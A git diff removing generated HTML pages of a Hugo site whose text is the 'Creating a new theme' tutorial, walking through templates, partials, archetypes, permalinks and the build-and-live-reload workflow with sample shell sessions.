    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:31 themes/zafta/static/js
    -$
    -
    - -

    The Theme Development Cycle

    - -

    When you’re working on a theme, you will make changes in the theme’s directory, rebuild the site, and check your changes in the browser. Hugo makes this very easy:

    - -
      -
    1. Purge the public/ directory.
    2. -
    3. Run the built in web server in watch mode.
    4. -
    5. Open your site in a browser.
    6. -
    7. Update the theme.
    8. -
    9. Glance at your browser window to see changes.
    10. -
    11. Return to step 4.
    12. -
    - -

    I’ll throw in one more opinion: never work on a theme on a live site. Always work on a copy of your site. Make changes to your theme, test them, then copy them up to your site. For added safety, use a tool like Git to keep a revision history of your content and your theme. Believe me when I say that it is too easy to lose both your mind and your changes.

    - -

    Check the main Hugo site for information on using Git with Hugo.

    - -

    Purge the public/ Directory

    - -

    When generating the site, Hugo will create new files and update existing ones in the public/ directory. It will not delete files that are no longer used. For example, files that were created in the wrong directory or with the wrong title will remain. If you leave them, you might get confused by them later. I recommend cleaning out your site prior to generating it.

    - -

    Note: If you’re building on an SSD, you should ignore this. Churning on a SSD can be costly.

    - -

    Hugo’s Watch Option

    - -

    Hugo’s “--watch” option will monitor the content/ and your theme directories for changes and rebuild the site automatically.

    - -

    Live Reload

    - -

    Hugo’s built in web server supports live reload. As pages are saved on the server, the browser is told to refresh the page. Usually, this happens faster than you can say, “Wow, that’s totally amazing.”

    - -

    Development Commands

    - -

    Use the following commands as the basis for your workflow.

    - -
    ## purge old files. hugo will recreate the public directory.
    -##
    -$ rm -rf public
    -##
    -## run hugo in watch mode
    -##
    -$ hugo server --watch --verbose
    -
    - -

    Here’s sample output showing Hugo detecting a change to the template for the home page. Once generated, the web browser automatically reloaded the page. I’ve said this before, it’s amazing.

    - -
    $ rm -rf public
    -$ hugo server --watch --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -Watching for changes in /Users/quoha/Sites/zafta/content
    -Serving pages from /Users/quoha/Sites/zafta/public
    -Web Server is available at http://localhost:1313
    -Press Ctrl+C to stop
    -INFO: 2014/09/29 File System Event: ["/Users/quoha/Sites/zafta/themes/zafta/layouts/index.html": MODIFY|ATTRIB]
    -Change detected, rebuilding site
    -
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 1 ms
    -
    - -

    Update the Home Page Template

    - -

    The home page is one of a few special pages that Hugo creates automatically. As mentioned earlier, it looks for one of three files in the theme’s layout/ directory:

    - -
      -
    1. index.html
    2. -
    3. _default/list.html
    4. -
    5. _default/single.html
    6. -
    - -

    We could update one of the default templates, but a good design decision is to update the most specific template available. That’s not a hard and fast rule (in fact, we’ll break it a few times in this tutorial), but it is a good generalization.

    - -

    Make a Static Home Page

    - -

    Right now, that page is empty because we don’t have any content and we don’t have any logic in the template. Let’s change that by adding some text to the template.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <p>hugo says hello!</p>
    -</body>
    -</html>
    -:wq
    -
    -$
    -
    - -

    Build the web site and then verify the results.

    - -
    $ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  78 Sep 29 21:26 public/index.html
    -
    -$ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <p>hugo says hello!</p>
    -</html>
    -
    - -

    Live Reload

    - -

    Note: If you’re running the server with the --watch option, you’ll see different content in the file:

    - -
    $ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <p>hugo says hello!</p>
    -<script>document.write('<script src="http://'
    -        + (location.host || 'localhost').split(':')[0]
    -    + ':1313/livereload.js?mindelay=10"></'
    -        + 'script>')</script></body>
    -</html>
    -
    - -

    When you use --watch, the Live Reload script is added by Hugo. Look for live reload in the documentation to see what it does and how to disable it.

    - -

    Build a “Dynamic” Home Page

    - -

    “Dynamic home page?” Hugo’s a static web site generator, so this seems an odd thing to say. I mean let’s have the home page automatically reflect the content in the site every time Hugo builds it. We’ll use iteration in the template to do that.

    - -

    Create New Posts

    - -

    Now that we have the home page generating static content, let’s add some content to the site. We’ll display these posts as a list on the home page and on their own page, too.

    - -

    Hugo has a command to generate a skeleton post, just like it does for sites and themes.

    - -
    $ hugo --verbose new post/first.md
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 attempting to create  post/first.md of post
    -INFO: 2014/09/29 curpath: /Users/quoha/Sites/zafta/themes/zafta/archetypes/default.md
    -ERROR: 2014/09/29 Unable to Cast <nil> to map[string]interface{}
    -
    -$
    -
    - -

    That wasn’t very nice, was it?

    - -

    The “new” command uses an archetype to create the post file. Hugo created an empty default archetype file, but that causes an error when there’s a theme. For me, the workaround was to create an archetypes file specifically for the post type.

    - -
    $ vi themes/zafta/archetypes/post.md
    -+++
    -Description = ""
    -Tags = []
    -Categories = []
    -+++
    -:wq
    -
    -$ find themes/zafta/archetypes -type f | xargs ls -l
    --rw-r--r--  1 quoha  staff   0 Sep 29 21:53 themes/zafta/archetypes/default.md
    --rw-r--r--  1 quoha  staff  51 Sep 29 21:54 themes/zafta/archetypes/post.md
    -
    -$ hugo --verbose new post/first.md
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 attempting to create  post/first.md of post
    -INFO: 2014/09/29 curpath: /Users/quoha/Sites/zafta/themes/zafta/archetypes/post.md
    -INFO: 2014/09/29 creating /Users/quoha/Sites/zafta/content/post/first.md
    -/Users/quoha/Sites/zafta/content/post/first.md created
    -
    -$ hugo --verbose new post/second.md
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 attempting to create  post/second.md of post
    -INFO: 2014/09/29 curpath: /Users/quoha/Sites/zafta/themes/zafta/archetypes/post.md
    -INFO: 2014/09/29 creating /Users/quoha/Sites/zafta/content/post/second.md
    -/Users/quoha/Sites/zafta/content/post/second.md created
    -
    -$ ls -l content/post
    -total 16
    --rw-r--r--  1 quoha  staff  104 Sep 29 21:54 first.md
    --rw-r--r--  1 quoha  staff  105 Sep 29 21:57 second.md
    -
    -$ cat content/post/first.md
    -+++
    -Categories = []
    -Description = ""
    -Tags = []
    -date = "2014-09-29T21:54:53-05:00"
    -title = "first"
    -
    -+++
    -my first post
    -
    -$ cat content/post/second.md
    -+++
    -Categories = []
    -Description = ""
    -Tags = []
    -date = "2014-09-29T21:57:09-05:00"
    -title = "second"
    -
    -+++
    -my second post
    -
    -$
    -
    - -

    Build the web site and then verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"category":"categories", "tag":"tags"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -$
    -
    - -

    The output says that it created 2 pages. Those are our new posts:

    - -
    $ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  78 Sep 29 22:13 public/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:13 public/post/first/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:13 public/post/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:13 public/post/second/index.html
    -$
    -
    - -

    The new files are empty because because the templates used to generate the content are empty. The homepage doesn’t show the new content, either. We have to update the templates to add the posts.

    - -

    List and Single Templates

    - -

    In Hugo, we have three major kinds of templates. There’s the home page template that we updated previously. It is used only by the home page. We also have “single” templates which are used to generate output for a single content file. We also have “list” templates that are used to group multiple pieces of content before generating output.

    - -

    Generally speaking, list templates are named “list.html” and single templates are named “single.html.”

    - -

    There are three other types of templates: partials, content views, and terms. We will not go into much detail on these.

    - -

    Add Content to the Homepage

    - -

    The home page will contain a list of posts. Let’s update its template to add the posts that we just created. The logic in the template will run every time we build the site.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  {{ range first 10 .Data.Pages }}
    -    <h1>{{ .Title }}</h1>
    -  {{ end }}
    -</body>
    -</html>
    -:wq
    -
    -$
    -
    - -

    Hugo uses the Go template engine. That engine scans the template files for commands which are enclosed between “{{” and “}}”. In our template, the commands are:

    - -
      -
    1. range
    2. -
    3. .Title
    4. -
    5. end
    6. -
    - -

    The “range” command is an iterator. We’re going to use it to go through the first ten pages. Every HTML file that Hugo creates is treated as a page, so looping through the list of pages will look at every file that will be created.

    - -

    The “.Title” command prints the value of the “title” variable. Hugo pulls it from the front matter in the Markdown file.

    - -

    The “end” command signals the end of the range iterator. The engine loops back to the top of the iteration when it finds “end.” Everything between the “range” and “end” is evaluated every time the engine goes through the iteration. In this file, that would cause the title from the first ten pages to be output as heading level one.

    - -

    It’s helpful to remember that some variables, like .Data, are created before any output files. Hugo loads every content file into the variable and then gives the template a chance to process before creating the HTML files.

    - -

    Build the web site and then verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"tag":"tags", "category":"categories"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  94 Sep 29 22:23 public/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:23 public/post/first/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:23 public/post/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:23 public/post/second/index.html
    -$ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -
    -    <h1>second</h1>
    -
    -    <h1>first</h1>
    -
    -</body>
    -</html>
    -$
    -
    - -

    Congratulations, the home page shows the title of the two posts. The posts themselves are still empty, but let’s take a moment to appreciate what we’ve done. Your template now generates output dynamically. Believe it or not, by inserting the range command inside of those curly braces, you’ve learned everything you need to know to build a theme. All that’s really left is understanding which template will be used to generate each content file and becoming familiar with the commands for the template engine.

    - -

    And, if that were entirely true, this tutorial would be much shorter. There are a few things to know that will make creating a new template much easier. Don’t worry, though, that’s all to come.

    - -

    Add Content to the Posts

    - -

    We’re working with posts, which are in the content/post/ directory. That means that their section is “post” (and if we don’t do something weird, their type is also “post”).

    - -

    Hugo uses the section and type to find the template file for every piece of content. Hugo will first look for a template file that matches the section or type name. If it can’t find one, then it will look in the _default/ directory. There are some twists that we’ll cover when we get to categories and tags, but for now we can assume that Hugo will try post/single.html, then _default/single.html.

    - -

    Now that we know the search rule, let’s see what we actually have available:

    - -
    $ find themes/zafta -name single.html | xargs ls -l
    --rw-r--r--  1 quoha  staff  132 Sep 29 17:31 themes/zafta/layouts/_default/single.html
    -
    - -

    We could create a new template, post/single.html, or change the default. Since we don’t know of any other content types, let’s start with updating the default.

    - -

    Remember, any content that we haven’t created a template for will end up using this template. That can be good or bad. Bad because I know that we’re going to be adding different types of content and we’re going to end up undoing some of the changes we’ve made. It’s good because we’ll be able to see immediate results. It’s also good to start here because we can start to build the basic layout for the site. As we add more content types, we’ll refactor this file and move logic around. Hugo makes that fairly painless, so we’ll accept the cost and proceed.

    - -

    Please see the Hugo documentation on template rendering for all the details on determining which template to use. And, as the docs mention, if you’re building a single page application (SPA) web site, you can delete all of the other templates and work with just the default single page. That’s a refreshing amount of joy right there.

    - -

    Update the Template File

    - -
    $ vi themes/zafta/layouts/_default/single.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -  <title>{{ .Title }}</title>
    -</head>
    -<body>
    -  <h1>{{ .Title }}</h1>
    -  {{ .Content }}
    -</body>
    -</html>
    -:wq
    -
    -$
    -
    - -

    Build the web site and verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"tag":"tags", "category":"categories"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff   94 Sep 29 22:40 public/index.html
    --rw-r--r--  1 quoha  staff  125 Sep 29 22:40 public/post/first/index.html
    --rw-r--r--  1 quoha  staff    0 Sep 29 22:40 public/post/index.html
    --rw-r--r--  1 quoha  staff  128 Sep 29 22:40 public/post/second/index.html
    -
    -$ cat public/post/first/index.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -  <title>first</title>
    -</head>
    -<body>
    -  <h1>first</h1>
    -  <p>my first post</p>
    -
    -</body>
    -</html>
    -
    -$ cat public/post/second/index.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -  <title>second</title>
    -</head>
    -<body>
    -  <h1>second</h1>
    -  <p>my second post</p>
    -
    -</body>
    -</html>
    -$
    -
    - -

    Notice that the posts now have content. You can go to localhost:1313/post/first to verify.

    - -

    Linking to Content

    - -

    The posts are on the home page. Let’s add a link from there to the post. Since this is the home page, we’ll update its template.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  {{ range first 10 .Data.Pages }}
    -    <h1><a href="{{ .Permalink }}">{{ .Title }}</a></h1>
    -  {{ end }}
    -</body>
    -</html>
    -
    - -

    Build the web site and verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"tag":"tags", "category":"categories"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  149 Sep 29 22:44 public/index.html
    --rw-r--r--  1 quoha  staff  125 Sep 29 22:44 public/post/first/index.html
    --rw-r--r--  1 quoha  staff    0 Sep 29 22:44 public/post/index.html
    --rw-r--r--  1 quoha  staff  128 Sep 29 22:44 public/post/second/index.html
    -
    -$ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -
    -    <h1><a href="/post/second/">second</a></h1>
    -
    -    <h1><a href="/post/first/">first</a></h1>
    -
    -</body>
    -</html>
    -
    -$
    -
    - -

    Create a Post Listing

    - -

    We have the posts displaying on the home page and on their own page. We also have a file public/post/index.html that is empty. Let’s make it show a list of all posts (not just the first ten).

    - -

    We need to decide which template to update. This will be a listing, so it should be a list template. Let’s take a quick look and see which list templates are available.

    - -
    $ find themes/zafta -name list.html | xargs ls -l
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/_default/list.html
    -
    - -

    As with the single post, we have to decide to update _default/list.html or create post/list.html. We still don’t have multiple content types, so let’s stay consistent and update the default list template.

    - -

    Creating Top Level Pages

    - -

    Let’s add an “about” page and display it at the top level (as opposed to a sub-level like we did with posts).

    - -

    The default in Hugo is to use the directory structure of the content/ directory to guide the location of the generated html in the public/ directory. Let’s verify that by creating an “about” page at the top level:

    - -
    $ vi content/about.md
    -+++
    -title = "about"
    -description = "about this site"
    -date = "2014-09-27"
    -slug = "about time"
    -+++
    -
    -## about us
    -
    -i'm speechless
    -:wq
    -
    - -

    Generate the web site and verify the results.

    - -
    $ find public -name '*.html' | xargs ls -l
    --rw-rw-r--  1 mdhender  staff   334 Sep 27 15:08 public/about-time/index.html
    --rw-rw-r--  1 mdhender  staff   527 Sep 27 15:08 public/index.html
    --rw-rw-r--  1 mdhender  staff   358 Sep 27 15:08 public/post/first-post/index.html
    --rw-rw-r--  1 mdhender  staff     0 Sep 27 15:08 public/post/index.html
    --rw-rw-r--  1 mdhender  staff   342 Sep 27 15:08 public/post/second-post/index.html
    -
    - -

    Notice that the page wasn’t created at the top level. It was created in a sub-directory named ‘about-time/’. That name came from our slug. Hugo will use the slug to name the generated content. It’s a reasonable default, by the way, but we can learn a few things by fighting it for this file.

    - -

    One other thing. Take a look at the home page.

    - -
    $ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -    <h1><a href="http://localhost:1313/post/theme/">creating a new theme</a></h1>
    -    <h1><a href="http://localhost:1313/about-time/">about</a></h1>
    -    <h1><a href="http://localhost:1313/post/second-post/">second</a></h1>
    -    <h1><a href="http://localhost:1313/post/first-post/">first</a></h1>
    -<script>document.write('<script src="http://'
    -        + (location.host || 'localhost').split(':')[0]
    -        + ':1313/livereload.js?mindelay=10"></'
    -        + 'script>')</script></body>
    -</html>
    -
    - -

    Notice that the “about” link is listed with the posts? That’s not desirable, so let’s change that first.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <h1>posts</h1>
    -  {{ range first 10 .Data.Pages }}
    -    {{ if eq .Type "post"}}
    -      <h2><a href="{{ .Permalink }}">{{ .Title }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -
    -  <h1>pages</h1>
    -  {{ range .Data.Pages }}
    -    {{ if eq .Type "page" }}
    -      <h2><a href="{{ .Permalink }}">{{ .Title }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -</body>
    -</html>
    -:wq
    -
    - -

    Generate the web site and verify the results. The home page has two sections, posts and pages, and each section has the right set of headings and links in it.

    - -

    But, that about page still renders to about-time/index.html.

    - -
    $ find public -name '*.html' | xargs ls -l
    --rw-rw-r--  1 mdhender  staff    334 Sep 27 15:33 public/about-time/index.html
    --rw-rw-r--  1 mdhender  staff    645 Sep 27 15:33 public/index.html
    --rw-rw-r--  1 mdhender  staff    358 Sep 27 15:33 public/post/first-post/index.html
    --rw-rw-r--  1 mdhender  staff      0 Sep 27 15:33 public/post/index.html
    --rw-rw-r--  1 mdhender  staff    342 Sep 27 15:33 public/post/second-post/index.html
    -
    - -

    Knowing that hugo is using the slug to generate the file name, the simplest solution is to change the slug. Let’s do it the hard way and change the permalink in the configuration file.

    - -
    $ vi config.toml
    -[permalinks]
    -    page = "/:title/"
    -    about = "/:filename/"
    -
    - -

    Generate the web site and verify that this didn’t work. Hugo lets “slug” or “URL” override the permalinks setting in the configuration file. Go ahead and comment out the slug in content/about.md, then generate the web site to get it to be created in the right place.

    - -

    Sharing Templates

    - -

    If you’ve been following along, you probably noticed that posts have titles in the browser and the home page doesn’t. That’s because we didn’t put the title in the home page’s template (layouts/index.html). That’s an easy thing to do, but let’s look at a different option.

    - -

    We can put the common bits into a shared template that’s stored in the themes/zafta/layouts/partials/ directory.

    - - - -

    In Hugo, a partial is a sugar-coated template. Normally a template reference has a path specified. Partials are different. Hugo searches for them along a TODO defined search path. This makes it easier for end-users to override the theme’s presentation.

    - -
    $ vi themes/zafta/layouts/partials/header.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -    <title>{{ .Title }}</title>
    -</head>
    -<body>
    -:wq
    -
    -$ vi themes/zafta/layouts/partials/footer.html
    -</body>
    -</html>
    -:wq
    -
    - -

    Update the Home Page Template to Use the Partials

    - -

    The most noticeable difference between a template call and a partials call is the lack of path:

    - -
    {{ template "theme/partials/header.html" . }}
    -
    - -

    versus

    - -
    {{ partial "header.html" . }}
    -
    - -

    Both pass in the context.

    - -

    Let’s change the home page template to use these new partials.

    - -
    $ vi themes/zafta/layouts/index.html
    -{{ partial "header.html" . }}
    -
    -  <h1>posts</h1>
    -  {{ range first 10 .Data.Pages }}
    -    {{ if eq .Type "post"}}
    -      <h2><a href="{{ .Permalink }}">{{ .Title }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -
    -  <h1>pages</h1>
    -  {{ range .Data.Pages }}
    -    {{ if or (eq .Type "page") (eq .Type "about") }}
    -      <h2><a href="{{ .Permalink }}">{{ .Type }} - {{ .Title }} - {{ .RelPermalink }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Generate the web site and verify the results. The title on the home page is now “your title here”, which comes from the “title” variable in the config.toml file.

    - -

    Update the Default Single Template to Use the Partials

    - -
    $ vi themes/zafta/layouts/_default/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Generate the web site and verify the results. The title on the posts and the about page should both reflect the value in the markdown file.

    - -

    Add “Date Published” to Posts

    - -

    It’s common to have posts display the date that they were written or published, so let’s add that. The front matter of our posts has a variable named “date.” It’s usually the date the content was created, but let’s pretend that’s the value we want to display.

    - -

    Add “Date Published” to the Template

    - -

    We’ll start by updating the template used to render the posts. The template code will look like:

    - -
    {{ .Date.Format "Mon, Jan 2, 2006" }}
    -
    - -

    Posts use the default single template, so we’ll change that file.

    - -
    $ vi themes/zafta/layouts/_default/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  <h2>{{ .Date.Format "Mon, Jan 2, 2006" }}</h2>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Generate the web site and verify the results. The posts now have the date displayed in them. There’s a problem, though. The “about” page also has the date displayed.

    - -

    As usual, there are a couple of ways to make the date display only on posts. We could do an “if” statement like we did on the home page. Another way would be to create a separate template for posts.

    - -

    The “if” solution works for sites that have just a couple of content types. It aligns with the principle of “code for today,” too.

    - -

    Let’s assume, though, that we’ve made our site so complex that we feel we have to create a new template type. In Hugo-speak, we’re going to create a section template.

    - -

    Let’s restore the default single template before we forget.

    - -
    $ mkdir themes/zafta/layouts/post
    -$ vi themes/zafta/layouts/_default/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Now we’ll update the post’s version of the single template. If you remember Hugo’s rules, the template engine will use this version over the default.

    - -
    $ vi themes/zafta/layouts/post/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  <h2>{{ .Date.Format "Mon, Jan 2, 2006" }}</h2>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    -
    - -

    Note that we removed the date logic from the default template and put it in the post template. Generate the web site and verify the results. Posts have dates and the about page doesn’t.

    - -

    Don’t Repeat Yourself

    - -

    DRY is a good design goal and Hugo does a great job supporting it. Part of the art of a good template is knowing when to add a new template and when to update an existing one. While you’re figuring that out, accept that you’ll be doing some refactoring. Hugo makes that easy and fast, so it’s okay to delay splitting up a template.

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/test2/index.html b/themes/public/article/test2/index.html deleted file mode 100644 index ee4fbd3b..00000000 --- a/themes/public/article/test2/index.html +++ /dev/null @@ -1,1500 +0,0 @@ - - - - - - - - - - Creating a new theme | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Creating a new theme

    -
    - - - 2015-06-24 - - - - - - - - - starting - - - - - - test1 - -
    - - - - -

    Introduction

    - -

    This tutorial will show you how to create a simple theme in Hugo. I assume that you are familiar with HTML, the bash command line, and that you are comfortable using Markdown to format content. I’ll explain how Hugo uses templates and how you can organize your templates to create a theme. I won’t cover using CSS to style your theme.

    - -

    We’ll start with creating a new site with a very basic template. Then we’ll add in a few pages and posts. With small variations on that, you will be able to create many different types of web sites.

    - -

    In this tutorial, commands that you enter will start with the “$” prompt. The output will follow. Lines that start with “#” are comments that I’ve added to explain a point. When I show updates to a file, the “:wq” on the last line means to save the file.

    - -

    Here’s an example:

    - -
    ## this is a comment
    -$ echo this is a command
    -this is a command
    -
    -## edit the file
    -$vi foo.md
    -+++
    -date = "2014-09-28"
    -title = "creating a new theme"
    -+++
    -
    -bah and humbug
    -:wq
    -
    -## show it
    -$ cat foo.md
    -+++
    -date = "2014-09-28"
    -title = "creating a new theme"
    -+++
    -
    -bah and humbug
    -$
    -
    - -

    Some Definitions

    - -

    There are a few concepts that you need to understand before creating a theme.

    - -

    Skins

    - -

    Skins are the files responsible for the look and feel of your site. It’s the CSS that controls colors and fonts, it’s the Javascript that determines actions and reactions. It’s also the rules that Hugo uses to transform your content into the HTML that the site will serve to visitors.

    - -

    You have two ways to create a skin. The simplest way is to create it in the layouts/ directory. If you do, then you don’t have to worry about configuring Hugo to recognize it. The first place that Hugo will look for rules and files is in the layouts/ directory so it will always find the skin.

    - -

    Your second choice is to create it in a sub-directory of the themes/ directory. If you do, then you must always tell Hugo where to search for the skin. It’s extra work, though, so why bother with it?

    - -

    The difference between creating a skin in layouts/ and creating it in themes/ is very subtle. A skin in layouts/ can’t be customized without updating the templates and static files that it is built from. A skin created in themes/, on the other hand, can be and that makes it easier for other people to use it.

    - -

    The rest of this tutorial will call a skin created in the themes/ directory a theme.

    - -

    Note that you can use this tutorial to create a skin in the layouts/ directory if you wish to. The main difference will be that you won’t need to update the site’s configuration file to use a theme.

    - -

    The Home Page

    - -

    The home page, or landing page, is the first page that many visitors to a site see. It is the index.html file in the root directory of the web site. Since Hugo writes files to the public/ directory, our home page is public/index.html.

    - -

    Site Configuration File

    - -

    When Hugo runs, it looks for a configuration file that contains settings that override default values for the entire site. The file can use TOML, YAML, or JSON. I prefer to use TOML for my configuration files. If you prefer to use JSON or YAML, you’ll need to translate my examples. You’ll also need to change the name of the file since Hugo uses the extension to determine how to process it.

    - -

    Hugo translates Markdown files into HTML. By default, Hugo expects to find Markdown files in your content/ directory and template files in your themes/ directory. It will create HTML files in your public/ directory. You can change this by specifying alternate locations in the configuration file.

    - -

    Content

    - -

    Content is stored in text files that contain two sections. The first section is the “front matter,” which is the meta-information on the content. The second section contains Markdown that will be converted to HTML.

    - -

    Front Matter

    - -

    The front matter is information about the content. Like the configuration file, it can be written in TOML, YAML, or JSON. Unlike the configuration file, Hugo doesn’t use the file’s extension to know the format. It looks for markers to signal the type. TOML is surrounded by “+++”, YAML by “---”, and JSON is enclosed in curly braces. I prefer to use TOML, so you’ll need to translate my examples if you prefer YAML or JSON.

    - -

    The information in the front matter is passed into the template before the content is rendered into HTML.

    - -

    Markdown

    - -

    Content is written in Markdown which makes it easier to create the content. Hugo runs the content through a Markdown engine to create the HTML which will be written to the output file.

    - -

    Template Files

    - -

    Hugo uses template files to render content into HTML. Template files are a bridge between the content and presentation. Rules in the template define what content is published, where it’s published to, and how it will rendered to the HTML file. The template guides the presentation by specifying the style to use.

    - -

    There are three types of templates: single, list, and partial. Each type takes a bit of content as input and transforms it based on the commands in the template.

    - -

    Hugo uses its knowledge of the content to find the template file used to render the content. If it can’t find a template that is an exact match for the content, it will shift up a level and search from there. It will continue to do so until it finds a matching template or runs out of templates to try. If it can’t find a template, it will use the default template for the site.

    - -

    Please note that you can use the front matter to influence Hugo’s choice of templates.

    - -

    Single Template

    - -

    A single template is used to render a single piece of content. For example, an article or post would be a single piece of content and use a single template.

    - -

    List Template

    - -

    A list template renders a group of related content. That could be a summary of recent postings or all articles in a category. List templates can contain multiple groups.

    - -

    The homepage template is a special type of list template. Hugo assumes that the home page of your site will act as the portal for the rest of the content in the site.

    - -

    Partial Template

    - -

